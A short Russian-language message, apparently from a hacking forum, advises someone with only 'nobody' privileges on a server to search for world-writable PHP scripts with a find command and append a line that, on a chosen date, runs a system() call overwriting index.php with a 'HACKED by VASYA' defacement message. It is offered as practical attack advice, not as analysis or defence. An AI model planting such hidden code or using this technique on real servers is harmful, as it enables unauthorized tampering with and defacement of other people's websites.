в крон попробовать можно но из по nobody врятли выйдет
можно найти скрипт пхп открытый для записи
find / -perm 777 -name *.php -- както так ))
м дописать в конец чето то вроде
if(date("d.m.y") == "1.1.1") system("echo HACKED by VASYA>index.php");